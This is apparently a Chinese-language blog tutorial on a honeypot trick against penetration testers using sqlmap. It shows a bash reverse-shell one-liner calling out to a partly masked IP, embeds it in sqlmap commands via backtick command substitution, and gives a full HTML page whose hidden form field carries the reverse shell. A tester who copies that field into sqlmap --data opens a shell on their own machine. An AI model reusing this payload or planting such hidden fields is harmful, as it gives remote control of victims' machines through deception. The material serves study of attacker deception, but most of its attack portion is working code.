1. bash命令特殊字符
先来说一下bash命令。在bash命令中,一些字符在封闭的双引号中,有特殊的含义。如ping "`ls`",``尖括号中间的字符会执行系统命令。ping "!!",会显示最近的一条历史记录
2. sqlmap命令分析
我们在执行sqlmap检测的时候大多数是这样的:
- GET型注入: sqlmap -u http://192.168.10.28/2_Shotting_Range/sql/Less-1/?id=1
- POST型注入:sqlmap -u --data="key=value"
如此形式的语句执行,实际上都是在shell中,执行bash命令。上面也说了``尖括号中的字符会被当做系统命令来执行,所以我们可以测试如下的语句,在执行sqlmap检测的时候列出了自己当前系统的文件
(1)执行命令
qlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`ls`"
(2)反弹shell
linux下反弹shell语句如下:
bash -c 'exec bash -i &>/dev/tcp/ip/端口 <&1'
所以可以运用到sqlmap中
sqlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`"
接收到了反弹shell
到这里我们应该就有一个大概的思路了。我们可以将这个语句隐藏到表单中,如果渗透测试人员经验不足,直接拿到表单数据就进行post注入的话,就很可能把自己搭进去了。所以接下来我们可以思考这个post数据该如何进行构建
3. POST反弹shell代码构造
由于post数据,可以构造的相对比较复杂,很多时候,渗透人员只是将所有参数一股脑的作为sqlmap的data参数进行测试,所以可以很好的做到将危险参数嵌入到post data数据中,以达到隐藏自身的目的。
接下来,要做的就是如果渗透人员在通过利用例如Burp Suite等工具获取sqlmap注入使用的参数时,获取到的字符为未编码的可见字符。
在用form进行提交数据时,如果添加enctype=”text/plain”属性,那么,就可以做到可见即可得。
index.html页面如下。我还可以将其中的POST数据构造的更加复杂
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=6379"/>
<!--创建一个按钮,提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
页面与数据如下
sqlmap进行post注入
sqlmap -u http://192.168.80.152/sqlmap_honey/ --data="
name=Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=63794"
当经验不足的渗透测试人员直接将post数据复制下来,且以--data的方式进行注入时,则直接能进行反弹shell。
那假如以sqlmap -r这种方式进行post注入会成功吗?
如下这种方式并不行,上面说了当sqlmap -u xxx以这种方式进行测试的时候实际上是在shell中执行bash命令。所以其他方式都不能够进行反制。
原理就是以上,只要理解了攻击手段,相信很多人都会构造出更完美的攻击数据,这里就不再献丑了,也许将来还继续更新。
当然,这种利用bash特性的攻击方式,并不仅仅作用于sqlmap,也可能用于其它依赖于Linux命令行执行的程序。Sqlmap只不过是这种特性的一个很好的利用场景。